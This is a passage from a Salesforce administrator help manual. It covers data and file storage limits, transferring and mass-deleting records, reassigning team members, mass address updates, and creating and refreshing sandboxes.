tab, the Files tab, the File field, Salesforce CRM Content, Chatter (including user photos), and Site.com assets. Data storage
includes the following:

Accounts
Article types (format: [Article Type Name])
Article type translations (format: [Article Type Name] Version)
Campaigns
Campaign Members
Cases
Case Teams
Contacts

752

Data Management

Monitoring Resources

Contracts
Custom objects
Email messages
Events
Forecast items
Google docs
Ideas
Leads
Notes
Opportunities
Quotes
Quote Template Rich Text Data
Solutions
Tags: Tag applications
Tags: Unique tags
Tasks

Data storage and file storage are calculated asynchronously, so if you import or add a large number of records or files, your
organizations storage usage will not be updated immediately.

Storage Capacity
Each edition includes a minimum amount of data storage and file storage. Professional, Enterprise, and Unlimited Editions
receive a per-user storage amount multiplied by the number of users in the organization if the result is greater than the minimum
storage amount. Using data storage as an example, an Enterprise Edition organization with 600 users would receive 12,000
MB (12 GB) of data storage, because 20 MB per user multiplied by 600 users is 12,000 MB. A smaller organization, for
example a Professional Edition organization with 20 users, would receive 1 GB of data storage because 20 MB per user
multiplied by 20 users is only 400 MB, which is less than the 1 GB minimum allotted to all Professional Edition organizations.
The values in the Storage Allocation Per User License column below apply to Salesforce and Salesforce Platform user licenses.
Note: The only feature license that provides additional storage is Salesforce CRM Content User. Each Salesforce
CRM Content User license provides an additional 512 MB of file storage, whether Salesforce CRM Content is enabled
or not, bringing the total file storage allocation per user to 612 MB. To find out whether your organization has
Salesforce CRM Content enabled, contact your administrator.
Salesforce Edition

Data Storage Minimum per File Storage Minimum per


Organization
Organization

Storage Allocation Per User


License

Personal

20 MB (approximately 10,000 20 MB
records)

N/A

Contact Manager

1 GB

11 GB

20 MB of data storage and


612 MB of file storage

Group

1 GB

11 GB

20 MB of data storage and


612 MB of file storage

Professional

1 GB

11 GB

20 MB of data storage and


612 MB of file storage

753

Data Management

Monitoring Resources

Salesforce Edition

Data Storage Minimum per File Storage Minimum per


Organization
Organization

Storage Allocation Per User


License

Enterprise

1 GB, plus 5 MB for each


Gold Partner license

11 GB

20 MB of data storage and


612 MB of file storage

Unlimited

1 GB, plus 5 MB for each


Gold Partner license

11 GB

120 MB of data storage and


612 MB of file storage

Developer

5 MB

20 MB

N/A

If your organization uses custom user licenses, contact salesforce.com to determine if these licenses provide additional storage.
For a description of user licenses, see Understanding User License Types on page 602.

Viewing Storage Usage


To view your organizations current storage usage click Your Name > Setup > Data Management > Storage Usage. You can
view the available space for data storage and file storage, the amount of storage in use per record type, the top users according
to storage utilization, and the largest files in order of size. To view what types of data a particular user is storing, click that
users name.
In all Editions except Personal Edition, administrators can view storage usage on a user-by-user basis:
1. Click Your Name > Setup > Manage Users > Users.
2. Click the name of any user.
3. Click View next to the Used Data Space or Used File Space fields to view that users storage usage by record type.
Individual users can view their own storage usage in their personal information (see Editing Your Personal Information on
page 30).

Increasing Storage
When your organization has reached its storage limit, you will not be able to create any new data or upload new files. To
reduce your storage usage, try to delete any outdated leads or contacts and remove any unnecessary attachments. In Salesforce
CRM Content, delete files to reduce your storage limit.
To increase your storage limit, you can purchase additional storage space, or in Professional, Enterprise, and Unlimited
Editions, you can also add user licenses. See Adding or Subtracting User Licenses on page 3507.

Storage Considerations
Take the following into consideration when planning your storage needs:

Person accounts count against both account and contact storage because the API considers each person account to consist
of one account as well as one contact.
Archived activities count against storage.
Nothing that is deleted counts against storage.
Active or archived products, price books, price book entries, and assets do not count against storage.

See Also:
Salesforce Editions and Limits
Force.com API Usage Limits

754

Transferring Records

Transferring Records Overview

TRANSFERRING RECORDS
Transferring Records Overview
Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, Developer, and Database.com Editions
Accounts, Campaigns, Contacts, Contracts, Leads, and Cases are not available in Database.com.

User Permissions Needed


To transfer multiple accounts, campaigns, contacts, contracts, Transfer Record
and custom objects:
AND
Edit on the object type
To transfer multiple leads:

Transfer Leads OR Transfer Record


AND
Edit on leads

To transfer multiple cases:

Transfer Cases OR Transfer Record


AND
Edit on cases

A record owner, or any user above the owner in the role or territory hierarchy, can transfer a single record to another user.
With some objects, like cases, leads, and campaigns, a user may be granted access to transfer records through sharing. Depending
on the type of object, there may be multiple ways to transfer records to another user:
Method

Available for

Transfer a single record

Accounts, campaigns, cases, contacts, contracts, leads, and


custom objects

Transfer multiple records by selecting the records from a list Cases, leads, and custom objects, which can belong to either
view and clicking Change Owner
a user or a queue
Transfer multiple records using the Mass Transfer tool

Accounts, leads, and custom objects

Ability to Change Ownership

Users with the Modify All Data permission, or users with the Modify All permission for the given object, can transfer
any record, regardless of who owns the record.
To transfer a single record or multiple records from a list view, the new owner must have at least the Read permission
on the object type. This rule does not apply if you use the mass transfer tool.

755

Data Management

Transferring Records Overview

To transfer ownership of any single record in an organization that does not use territory management, a user must have
the appropriate Edit permission and either own the record or be above the owner in the role hierarchy.
For example, to transfer ownership of an account, a user must have the Edit permission on accounts and read sharing
access to the account. Additionally, the new owner of the record must have at least Read permission on accounts.
The Public Full Access and Public Read/Write/Transfer sharing settings give all users the ability to transfer ownership of
that type of record as long as they have the appropriate Edit permission.

In organizations that use territory management, users that have been assigned to territories can be enabled to transfer the
accounts in their territories, even if they are not the record owner.
To transfer campaigns, users must also have the Marketing User checkbox selected on their user record.
Partner accounts can only be transferred to users with the Manage Partners permission.
You cannot assign an account with Customer Portal users to an owner who is a partner user.

See Also:
Mass Transferring Records
Changing Ownership
Changing Multiple Cases
Changing Multiple Leads

756

Data Management

Mass Transferring Records

Mass Transferring Records


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, Developer Database.com Editions
Accounts, Service Contracts, and Leads are not available in Database.com.

User Permissions Needed


To mass transfer accounts and service contracts:

Transfer Record
AND
Edit on the object type
AND
Transfer Leads

To mass transfer custom objects:

Transfer Record
AND
Edit on the object type

To mass transfer leads:

Transfer Leads OR Transfer Record


AND
Edit on leads

Use the Mass Transfer tool to transfer multiple accounts, leads, service contracts, and custom objects from one user to another.
Note: To transfer any records that you do not own, you must have the required user permissions as well as read sharing
access on the records.
1. Choose Your Name > Setup > Data Management > Mass Transfer Records.
2. Click the link for the type of record to transfer.
3. Optionally, fill in the name of the existing record owner in the Transfer from field. For leads, you can transfer from
users or queues.
4. In the Transfer to field, fill in the name of new record owner. For leads, you can transfer to users or queues.
5. If your organization uses divisions, select the Change division.... checkbox to set the division of all transferred records
to the new owners default division.
6. When transferring accounts, you can:

Select the Transfer open opportunities not owned by the existing account owner checkbox if
you want to transfer open opportunities owned by other users that are associated with the account.
Select the Transfer closed opportunities checkbox if you want to transfer closed opportunities associated
with the account. This option applies only to closed opportunities owned by the account owner; closed opportunities
owned by other users are not changed.

757

Data Management

Mass Transferring Records

Select the Transfer open cases owned by the existing account owner checkbox if you want to transfer
open cases that are owned by the existing account owner and associated with the account.
Select the Transfer closed cases checkbox if you want to transfer closed cases that are owned by the existing
account owner and associated with the account.
Select the Keep Account Team checkbox if you want to maintain the existing account team associated with the
account. Deselect this checkbox if you want to remove the existing account team associated with the account.
Select the Keep Sales Team on all opportunities... checkbox if you want to maintain the existing sales
team on any opportunities associated with this account.
Note: If you transfer closed opportunities, the sales team is maintained, regardless of this setting.

7. Enter search criteria that the records you are transferring must match. For example, you could search accounts in California
by specifying Billing State/Province equals CA.
8. Click Find.
9. Select the checkbox next to the records you want to transfer. Optionally, check the box in the column header to select all
currently displayed items.
Note: If duplicate records are found, you must select only one of the records to transfer. Transferring duplicate
records results in an error.
Duplicate records may display if you filter leads based on Campaign Member Status and a matching lead has the
same campaign member status on multiple campaigns. For example, if you specify Campaign Member Status
equals Sent, and a matching lead named John Smith has the status Sent on two campaigns, his record will
display twice.
10. Click Transfer.
Transfer of Associated Items
When you change record ownership, some associated items that are owned by the current record owner are also transferred
to the new owner.
Record

Associated items that are also transferred

Accounts

Contacts (on business accounts only), attachments, notes, open activities, open opportunities
owned by the current account owner, and optionally, closed opportunities and open
opportunities owned by other users.

Leads

Open activities. When transferring leads to a queue, open activities are not transferred.

Access to Transferred Items


When transferring accounts and their related data in Professional, Enterprise, Unlimited, and Developer Editions, all previous
access granted by manual sharing, Apex managed sharing, or sharing rules is removed. New sharing rules are then applied to

758

Data Management

Managing Multiple Approval Requests

the data based on the new owner. The new owner may need to manually share the transferred accounts and opportunities as
necessary to grant access to certain users.

See Also:
Changing Ownership
Changing Multiple Cases
Assigning Leads

Managing Multiple Approval Requests


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To manage multiple approval requests:

Transfer Leads
AND
Transfer Record

To transfer multiple approval requests from one user to another or to remove multiple approval requests from the approval
process:
1. Before transferring an approval request, make sure the new assigned approver has access to read the records for the approval
requests. For example, a user that does not have read access to an Expenses custom object will not be able to view expense
approval requests.
2. Choose Your Name > Setup > Data Management > Mass Transfer Approval Requests.
3. Enter the search conditions that the approval requests you are transferring must match. For example, you could search for
approval requests that were submitted by a particular user by specifying Submitter equals jsmith. For more
information, see Entering Filter Criteria on page 2961.
4. Click Find to search for approval requests that match.
5. Choose an option:

Mass remove records from an approval process unlocks the records and removes them from any approval

process so they no longer appear on the approver's list of pending approval requests.
Mass transfer outstanding approval requests to a new user allows you to select a user and assign
that user as the approver for all approval requests selected.

6. Optionally, enter any comments to be stored with the approval requests. The comments you enter are displayed on the
Approval History related list if your administrator has customized it to include the Comments field.
7. Select the checkbox next to each approval request you want to transfer or remove from the approval process, depending
on the option you selected previously.

759

Data Management

Deleting Mass Data

8. Click Transfer or Remove, depending on the option you selected previously.

See Also:
Approval Processes Overview
Approval Process Terminology

Deleting Mass Data


Available in: All Editions
This feature is only available in Database.com via the API. You can only mass delete records of custom objects in
Database.com.

User Permissions Needed


To mass delete data:

Modify All Data

You can delete multiple cases, solutions, accounts, contacts, leads, products, or activities at one time. Before you use mass
delete, we strongly suggest you run a report to archive your information. We also strongly advise you to run a weekly export
of your data; see Exporting Backup Data on page 750.
To delete multiple records:
1.
2.
3.
4.

Click Your Name > Setup > Data Management > Mass Delete Records.
Click the link for the type of record to delete.
Review the information that will be deleted along with the records.
Specify conditions that the selected items must match, for example, State equals California. For more information, see
Entering Filter Criteria on page 2961.
5. When deleting accounts, check the appropriate boxes if you want to delete accounts with attached closed/won opportunities
or attached opportunities owned by other users.
6. When deleting products, check Archive Products... if you want to include products that are on opportunities.
Archived products are not moved to the Recycle Bin. Check this option to:

Delete products that are not on opportunities and move them to the Recycle Bin.
Archive products that are on opportunities. These products are not moved to the Recycle Bin and cannot be recovered.

Leave this box unchecked to delete only those products that are not on opportunities. Selected products that are on
opportunities will remain checked after the deletion to indicate they were not included in the deletion.
7. Choose Search to find records that match.
8. Select the box next to the items you want to delete. Optionally, check the box in the column header to select all currently
displayed items.
9. To permanently delete records, select Permanently delete the selected records. Please note that selecting
this option prevents you from recovering the selected records from the Recycle Bin.
10. Click Delete. If you did not select Permanently delete the selected records, deleted items are moved to the
Recycle Bin.

760

Data Management

Deleting Mass Data

Notes on Using Mass Delete


Consider the following when using mass delete:

You can only delete up to 250 items at one time.


When you delete a record, any associated records that display on that record's related lists are also deleted.
Accounts and contacts associated with cases cannot be deleted.
Partner accounts with partner users cannot be deleted.
Contacts enabled for Self-Service, and their associated accounts, cannot be deleted.
When deleting products, all related price book entries are deleted with it.
Products on opportunities cannot be deleted, but they can be archived.
When you delete activities:
Any archived activities that meet the conditions are also deleted.
Requested meetings aren't included in the mass-delete until they're confirmed and automatically converted to events.

The child events of a recurring event are not displayed in the list of possible items to delete, but they are deleted along
with their associated event series.
Deleting a master solution does not delete the translated solutions associated with it. Instead, each translated solution
becomes a master solution.
Deleting a translated solution removes the association with its master solution.

Sample Uses for Mass Delete


The following examples illustrate some common uses of mass delete.

You imported your organization's leads incorrectly and you want to delete those imported leads. View the Using Mass
Delete to Undo Imports document for complete instructions.
A user named John Smith recently left your organization, and he had several contacts that were duplicates of other users'
data. To delete these duplicate contacts, select contacts as the record type to delete and enter Owner Alias equals jsmith.
Your organization may have formerly entered all leads as accounts with the Type field set to Prospect. You now want
to convert these accounts into leads. To do this, run a report of these accounts, export it to Excel, and then use the Import
My Organizations Leads wizard to import the data as leads. Then using mass delete, select accounts as the record type to
delete and enter Type equals Prospect to locate all accounts you want to delete.
You want to delete all the leads that have been converted for your organization. Select the lead record type, enter Converted
equals 1 for the search criteria, then choose Search.

You might also want to use mass delete to clean up any old records you may have, to delete web-generated leads that were
created incorrectly, or to delete accounts and contacts with whom you no longer do business.

See Also:
Undoing an Import
Recycle Bin

761

Data Management

Reassigning Multiple Team Members

Reassigning Multiple Team Members


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To mass transfer team members:

Use Team Reassignment Wizards

If your organization uses account teams or sales teams, you can make changes to a team member on multiple records at a time.
Using Salesforce, you can add, remove, or replace a team member on any record that contains that team member.
See the following topics for details:

Adding a Team Member to Multiple Records on page 762


Removing a Team Member from Multiple Records on page 763
Replacing a Team Member on Multiple Records on page 764

Adding a Team Member to Multiple Records


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To mass transfer team members:

Use Team Reassignment Wizards

To add an account or sales team member to multiple records at a time:


1. Choose Your Name > Setup > Data Management > Mass Reassign Account Teams or Your Name > Setup > Data
Management > Mass Reassign Opportunity Teams.
If you don't see the Data Management link on the Setup page, click Mass Reassign Account Teams from the Tools
section at the bottom of the Accounts tab, or click Mass Reassign Opportunity Teams from the Tools section at the
bottom of the Opportunities tab.
2. Choose the Add option and click Next.
3. Enter your criteria to find the records you want to change and click Next.
4. Check the boxes next to the records you want to change. Optionally, check the box in the column header to select all
currently displayed items.
5. Click Next.
6. Choose a team member to add to the selected records.
7. Select a role for the new team member.
8. For account teams, select the appropriate account, contact, case, and opportunity access. For sales teams, select the
appropriate opportunity access.

762

Data Management

Reassigning Multiple Team Members

9. Click Add.
10. Click Done after reviewing the number of records changed.
Note: To add a new team member to an opportunity, the team member must have read access to the associated
account. Team members who do not have read access to the account will not be added to the opportunity team unless
you have the Modify All Data permission or are the account owner or above the account owner in the role hierarchy.

See Also:
Removing a Team Member from Multiple Records
Replacing a Team Member on Multiple Records

Removing a Team Member from Multiple Records


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To mass transfer team members:

Use Team Reassignment Wizards

To remove an account or sales team member from multiple records at a time:


1. Choose Your Name > Setup > Data Management > Mass Reassign Account Teams or Your Name > Setup > Data
Management > Mass Reassign Opportunity Teams.
Depending on your permissions, you may not see the Data Management link on the Setup page. In that case, click Mass
Reassign Account Teams from the Tools section at the bottom of the Accounts tab, or click Mass Reassign Opportunity
Teams from the Tools section at the bottom of the Opportunities tab.
2. Choose the Remove option and click Next.
3. Enter your criteria to find the records you want to change and click Next. For information on finding records, see Entering
Filter Criteria on page 2961.
4. Check the boxes next to the records you want to remove. Optionally, check the box in the column header to select all
currently displayed items.
5. Click Next.
6. Choose the existing team member to remove from the selected records.
7. Select a role. The team member is removed only if he or she plays this role. Or, select Any Role to removed the team
member regardless of what role he or she plays.
8. Check the following options when applicable:

Reassign all open activities... if you want open activities for the removed team member assigned to the

account owner.

Reassign all open opportunities... if you want open opportunities for the removed team member to be

assigned to the account owner.

Reassign all open cases... if you want open cases for the removed team member to be assigned to the account

owner.

763

Data Management

Reassigning Multiple Team Members

Reassign all contacts... if you want to assign all contact records owned by the removed team member to the

account owner.
9. Click Remove.
10. Click Done after reviewing the number of records changed.

See Also:
Adding a Team Member to Multiple Records
Replacing a Team Member on Multiple Records

Replacing a Team Member on Multiple Records


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To mass transfer team members:

Use Team Reassignment Wizards

You can replace account and sales team members and change team member roles on multiple records at a time.
Note: While you can add members to account and sales team records that you have access to edit, you need the Use
Team Reassignment Wizards permission to mass reassign members.
1. Choose Your Name > Setup > Data Management > Mass Reassign Account Teams or Your Name > Setup > Data
Management > Mass Reassign Opportunity Teams.
Depending on your permissions, you may not see the Data Management link on the Setup page. In that case, click Mass
Reassign Account Teams from the Tools section at the bottom of the Accounts tab, or click Mass Reassign Opportunity
Teams from the Tools section at the bottom of the Opportunities tab.
2. Choose the Replace option and click Next.
3. Enter your criteria to find the records you want to change and click Next.
4. Check the boxes next to the records you want to select. Optionally, check the box in the column header to select all currently
displayed items.
5. Click Next.
6. Select the team member currently on the selected records that you want to change.
7. Select the new team member to replace the current one. To simply change the role of a team member, select the existing
team member here as well.
8. Choose a role for the team member. Choose Use Role of Replaced Team Member to keep the current role.
9. For account teams, select the appropriate account, contact, case, and opportunity access. For sales teams, select the
appropriate opportunity access.
10. Check the following options when applicable:

Reassign all open activities... if you want to assign all open activity records to the replacement team

member.

764

Data Management

Transferring Divisions

Reassign all open opportunities... if you want to assign all open opportunity records to the replacement

team member.

Reassign all open cases... if you want to assign all open cases to the replacement team member.
Reassign all contacts... if you want to assign the contacts associated with the updated records to the replacement

team member.
11. Click Replace.
12. Click Done after reviewing the number of records changed.

See Also:
Adding a Team Member to Multiple Records
Removing a Team Member from Multiple Records

Transferring Divisions
Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To mass transfer divisions:

Modify All Data

To change the division for multiple records at one time:


1. Click Your Name > Setup > Data Management > Mass Division Transfer.
2. Select the type of record for which you want to reassign divisions, and click Next.
When you transfer divisions for accounts, all records related to a particular account, such as contacts and opportunities,
inherit the division of that account. Likewise, transferring divisions for custom objects includes any custom objects on the
detail side of a master-detail relationship with that custom object.
3. Set the search conditions that the records must match, and click Next.
4. Select the new division for the matching records.
5. When transferring users, select the Change the division... checkbox to also change the division of the records
owned by the users.
6. Click Transfer.
If you are transferring less than 5,000 records, they are transferred immediately. A confirmation message displays when
the transfers are complete.

765

Data Management

Mass Updating Addresses

If you are transferring 5,000 or more records, the request is placed in a queue for processing. You will receive an email
notification when the transfers are complete.

See Also:
About Divisions
Changing Your Working Division
Changing Your Default Division

Mass Updating Addresses


Available in: All Editions except for Database.com.

User Permissions Needed


To mass update addresses:
To mass update addresses of contracts:

Modify All Data


Modify All Data
AND
Activate Contracts

Use mass updating addresses to standardize on one naming convention for a country and state/province for your organization's
existing address fields in accounts, contacts, contracts, and leads. For example, instead of having multiple records with US,
USA, or United States in the address fields, you can use mass updating addresses to enter one name, such as US, for all of the
records.
1. Choose Your Name > Setup > Data Management > Mass Update Addresses.
2. Select the type of data to update - Countries or State/Province. If you chose State/Province, enter the country
in which to update the state or province. Click Next to continue.
3. Select the values to update and click Add. The Selected Values box displays the values that will be updated. To remove
values, click Remove.
The Available Values box displays the address values found in existing records. To find additional addresses to update
together as a group, enter all or part of a value and click Find.
If your organization has large amounts of data, instead of using the Available Values box, enter existing values to update
in the text area. Each value should be separated by a new line.
4. In the Replace selected values with field, enter the value with which to replace the specified address data, and
click Next. If your organization has large amounts of data, this field is called Replace entered values with.
The number and type of address records which will be updated in your organization are displayed. If your organization
has large amounts of data, only the values that will be updated are displayed.
5. Click Replace to update the values.

766

Data Management

Sandbox Overview

Tips on Mass Updating Addresses

As a best practice, update countries first, and then update states or provinces within that newly standardized country value.
Use the mass updating address tool to convert inconsistent address formats to one international standard, such as ISO
codes. For a list of ISO codes, see the International Organization for Standardization website.
Use the mass updating tool regularly to cleanse your address data of inconsistent values created by users or via import, sync,
or the Force.com API.
Any country or state/province value can be created manually or via import, sync, or the Force.com API. Address values
are not validated upon creation.
Remember to change filter conditions to reflect any address updates. For example, if you change United States to US,
then assignment rules, Web-to-Lead, Web-to-Case, Email-to-Case, and On-Demand Email-to-Case will continue to
use United States unless updated to US.

Sandbox Overview
Available in: Enterprise, Unlimited, and Database.com Editions

User Permissions Needed


To view a sandbox:

View Setup and Configuration

To create, refresh, activate, and delete sandboxes:

Modify All Data

Salesforce gives you the ability to create multiple copies of your organization in separate environments for a variety of purposes,
such as testing and training, without compromising the data and applications in your Salesforce production organization.
These copies are called sandboxes and are nearly identical to your Salesforce production organization. For a list of differences,
see Sandbox Setup Tips and Considerations on page 771.
Sandboxes are completely isolated from your Salesforce production organization, so operations you perform in your sandboxes
do not affect your Salesforce production organization, and vice versa.
The sandbox types are:
Configuration Only
Configuration-only sandboxes copy all of your production organization's reports, dashboards, price books, products,
apps, and customizations under Your Name > Setup, but exclude all of your organization's standard and custom object
records, documents, and attachments. Creating a configuration-only sandbox can decrease the time it takes to create or
refresh a sandbox from several hours to just a few minutes, but it can only include up to 500 MB of data. You can refresh
a configuration-only sandbox once per day.
Developer Sandbox
Developer sandboxes are special configuration-only sandboxes intended for coding and testing by a single developer.
They provide an environment in which changes under active development can be isolated until they are ready to be
shared. Just like configuration-only sandboxes, developer sandboxes copy all application and configuration information

767

Data Management

Sandbox Overview

to the sandbox. Developer sandboxes are limited to 10 MB of test or sample data, which is enough for many development
and testing tasks. You can refresh a developer sandbox once per day.
Full
Full sandboxes copy your entire production organization and all its data, including standard and custom object records,
documents, and attachments.

Sandbox Limits
The following limits apply to sandboxes:

You can refresh a full sandbox 29 days after you created or last refreshed it. If you delete a full sandbox, you must wait 29
days to replace it.
You can refresh a configuration-only sandbox (including a developer sandbox) once per day.
You may order up to a maximum of three full sandboxes.
You may order up to a maximum of six configuration-only sandboxes.
Enterprise Edition includes one developer sandbox.
Unlimited Edition includes one full sandbox with the option to purchase up to three more full sandboxes.
Note: Contact salesforce.com to order sandboxes for your organization.

Sandbox Retention Policy


Unactivated Sandboxes
New sandboxes that arent activated within 30 days will be deleted. Youll get at least two notifications prior to scheduling
the sandbox for deletion.
Locked Sandboxes
Sandboxes that have been locked for 60 days will be deleted. Youll get at least two notifications prior to scheduling the
sandbox for deletion. Sandboxes become locked when all the licenses for that type of sandbox expire.
Note: Deletion of a sandbox doesnt terminate or change any of your sandbox subscriptions. If you have a sandbox
subscription and your sandbox is deleted, your subscription remains in effect and you can create a new sandbox.

See Also:
Creating or Refreshing a Sandbox
Sandbox Setup Tips and Considerations
Sandbox Restrictions and Licenses
Managing Sandboxes

768

Data Management

Sandbox Overview

Creating or Refreshing a Sandbox


Available in: Enterprise, Unlimited, and Database.com Editions

User Permissions Needed


To view a sandbox:

View Setup and Configuration

To create, refresh, activate, and delete sandboxes:

Modify All Data

To create or refresh a sandbox:


1. Click Your Name > Setup > Data Management > Sandbox.
2. Do one of the following:

Click New Sandbox. For information on different kinds of sandboxes, see Sandbox Overview on page 767.
Salesforce deactivates the New Sandbox button when an organization reaches its sandbox limit. If necessary, contact
salesforce.com to order more sandboxes for your organization.

Note that Salesforce deactivates all refresh links if you have exceeded your sandbox limit.
Click Refresh to replace an existing sandbox with a new copy. Salesforce only displays the Refresh link for sandboxes
that are eligible for refreshing. For full-copy sandboxes, this is any time after 30 days from the previous creation or
refresh of that sandbox. For configuration-only sandboxes (including developer sandboxes), you can refresh once per
day. Your existing copy of this sandbox remains available while you wait for the refresh to complete. The refreshed
copy is inactive until you activate it.

3. Enter a name and description for the sandbox. You can only change the name when you create or refresh a sandbox.
Tip: We recommend that you choose a name that:

Reflects the purpose of this sandbox, such as QA.


Has few characters because Salesforce automatically appends the sandbox name to usernames and email addresses
on user records in the sandbox environment. Names with fewer characters make sandbox logins easier to type.

4. Select the type of sandbox:

Configuration Only: Configuration-only sandboxes copy all of your production organization's reports, dashboards,
price books, products, apps, and customizations under Your Name > Setup, but exclude all of your organization's
standard and custom object records, documents, and attachments. Creating a configuration-only sandbox can decrease
the time it takes to create or refresh a sandbox from several hours to just a few minutes, but it can only include up to
500 MB of data. You can refresh a configuration-only sandbox once per day.
Developer: Developer sandboxes are special configuration-only sandboxes intended for coding and testing by a single
developer. They provide an environment in which changes under active development can be isolated until they are
ready to be shared. Just like configuration-only sandboxes, developer sandboxes copy all application and configuration
information to the sandbox. Developer sandboxes are limited to 10 MB of test or sample data, which is enough for
many development and testing tasks. You can refresh a developer sandbox once per day.
Full: Full sandboxes copy your entire production organization and all its data, including standard and custom object
records, documents, and attachments. You can refresh a full-copy sandbox every 29 days.

769

Data Management

Sandbox Overview

If you have reduced the number of sandboxes you purchased, but you still have more sandboxes of a specific type than
allowed, you will be required to match your sandboxes to the number of sandboxes that you purchased. For example, if
you have two full sandboxes but purchased only one, you cannot refresh your full sandbox as a full sandbox. Instead, you
must choose one full sandbox to convert to a smaller sandbox, such as configuration-only or developer sandbox, depending
on which type of sandbox you have available.
Note: Configuration-only and developer sandboxes copy all of your production organization's reports, dashboards,
price books, products, apps, and customizations under Your Name > Setup, but exclude all of your organization's
standard and custom object records, documents, and attachments. Because they copy much less data, creating these
sandbox types can substantially decrease the time it takes to create or refresh a sandbox.
If you are refreshing an existing sandbox, the radio button usually preselects the sandbox type corresponding to the sandbox
you are refreshing. For example, if you refresh a configuration-only sandbox, the radio button preselects Configuration
Only.
Whether refreshing an existing sandbox or creating a new one, some radio buttons may be disabled if you have already
created the number of sandboxes of that sandbox type allowed for your organization.
5. For a full sandbox, choose how much object history and case history to copy, and whether or not to copy Chatter data.
Object history is the field history tracking of custom and most standard objects, and case history serves the same purpose
for cases. You can copy from 0 to 180 days of object and case history, in 30day increments. The default value is 30 days.
Chatter data includes feeds, messages, and discovery topics. Decreasing the amount of data you copy can significantly
speed up sandbox copy time.
6. Click Start Copy.
The process may take several minutes, hours, or even days, depending on the size of your organization and whether you
are creating a full copy or configuration-only copy.
Tip: You should try to limit changes in your production organization while the sandbox copy proceeds.

7. You will receive a notification email when your newly created or refreshed sandbox has completed copying. If you are
creating a new sandbox, the newly created sandbox is now ready for use.
If you are refreshing an existing sandbox, an additional step is required to complete the sandbox copy process. The new
sandbox must be activated. To delete your existing sandbox and activate the new one:
a. Return to the sandbox list by logging into your production organization and navigating to Your Name > Setup > Data
Management > Sandbox.
b. Click the Activate link next to the sandbox you wish to activate.
This will take you to a page warning of removal of your existing sandbox.
c. Read the warning carefully and if you agree to the removal, enter the acknowledgment text at the prompt and click the
Activate button.
When the activation process is complete, you will receive a notification email.
Caution: Activating a replacement sandbox that was created using the Refresh link completely deletes the sandbox
it is refreshing. All configuration and data in the prior sandbox copy will be lost, including any application or data
changes you have made. Please read the warning carefully, and press the Activate link only if you have no further
need for the contents of the sandbox copy currently in use. Your production organization and its data will not be
affected.

770

Data Management

Sandbox Overview

8. Once your new sandbox is complete, or your refreshed sandbox is activated, you can click the link in the notification email
to access your sandbox.
You can log into the sandbox at test.salesforce.com/login.jsp by appending .sandbox_name to your Salesforce
username. For example, if your username for your production organization is user1@acme.com, then your username for
a sandbox named test is user1@acme.com.test. For more information, see Username and Email Address Modification
on page 771.
Note: Salesforce automatically changes sandbox usernames but does not change passwords.

Sandbox Setup Tips and Considerations


Available in: Enterprise, Unlimited, and Database.com Editions

User Permissions Needed


To view a sandbox:

View Setup and Configuration

To create, refresh, activate, and delete sandboxes:

Modify All Data

Consider the following before you create a sandbox.


Servers and IDs

The organization IDs of your sandboxes differ from your production organization ID, and will change each time your
sandbox is refreshed.
Salesforce stores sandbox organizations on several instances. When a sandbox is created or refreshed, an instance is selected
for your sandbox, so your sandbox may appear on different instances and have different URLs.
When data that contains object IDs is copied from your production instance into your sandbox, the object IDs in your
sandbox match the object IDs in your production instance. However, data created in your production instance or sandbox
will not contain matching object IDs.

Username and Email Address Modification

User information is included in a sandbox copy or refresh for all sandbox types. Because all Salesforce usernames must be
unique and reference a single organization, all copied usernames are modified to ensure uniqueness during the copy process.
Usernames are modified differently for each sandbox copy. Entering a particular modified username will log you into a
specific sandbox.
For each username, the copy process applies one or two modifications as necessary to generate a unique new username:
First, the sandbox name is appended to the username, so that for a sandbox named test, user@acme.com may become
user@acme.com.test.
If the resulting username is not unique, a second modification is performed in which a number of characters and digits
are prepended to the modified username. This second modification may result in a username such as
00x7Vquser@acme.com.test.

771

Data Management

Sandbox Overview

Email addresses are modified in a sandbox so that production users, who may not know of the sandbox, dont receive
automatically generated email messages from the sandbox, such as notifications from triggered workflow or escalation
rules. By modifying user email addresses, any email messages sent from the sandbox arent delivered to production users.
You can manually correct email addresses in the sandbox user records for users who will use the sandbox for testing and
training.
Caution: Sandboxes automatically change Salesforce user email addresses, but dont change other email addresses
in Salesforce, such as those in contact records. To avoid sending unsolicited email from your sandboxes, manually
invalidate or delete all email addresses in your sandboxes that dont belong to users. When testing the generation
of outbound email, change contact email addresses to those of testers or an automated test script.

Creating, Refreshing, and Deleting Sandboxes

Sandbox copy is a long-running operation that occurs in the background. You are notified of the completion of a sandbox
copy via email. Sandbox refreshes may complete in minutes, days, or even more than a week.
A number of conditions factor into the duration of a sandbox copy or refresh, including the number of customizations,
data size, numbers of objects and configuration choices (for full copies), and server load. Also, sandbox refreshes are queued,
so your requested copy may not start immediately after your request.
A sandbox is not a point-in-time snapshot of the exact state of your data. Furthermore, we recommend that you limit
changes to your production organization while a sandbox is being created or refreshed. Setup and data changes to your
production organization during the sandbox creation and refresh operations may result in inconsistencies in your sandbox.
You may detect and correct some inconsistencies in your sandbox after it is copied or refreshed.
Some types of sandboxes may not be available to choose from if you already reached your organization's limit of the types
of sandboxes you can create or refresh. For example, if your organization is limited to one full sandbox, and a full sandbox
is already created, you may not select Full when creating a new sandbox. However, you may refresh your existing full
sandbox.
When you are finished with a sandbox, you can refresh it to create a new copy. However, if you have reduced your
organization's number of sandboxes, a Delete link displays next to existing sandboxes, allowing you to delete a sandbox
of your choice. Note that you must delete a sandbox before you can refresh any more sandboxes.
If you have active Salesforce-to-Salesforce connections in your sandbox, you must deactivate and then reactivate the
connection(s) after the sandbox is refreshed.

Configuring Full Sandboxes


Available in: Enterprise, Unlimited, and Database.com Editions

When you create or refresh a full sandbox, you can configure it not to copy some data that is generally not useful in a sandbox.
Keeping the minimum selections will speed up your sandbox copy.

The Object History and Case History options allow you to select the number of days of history from your production
organization to copy to your sandbox. You can copy from 0 to 180 days, in 30 day increments. The default value is 30 days.
By default, Chatter data wont be copied to your sandbox. Chatter data includes feeds, messages, and discovery topics.
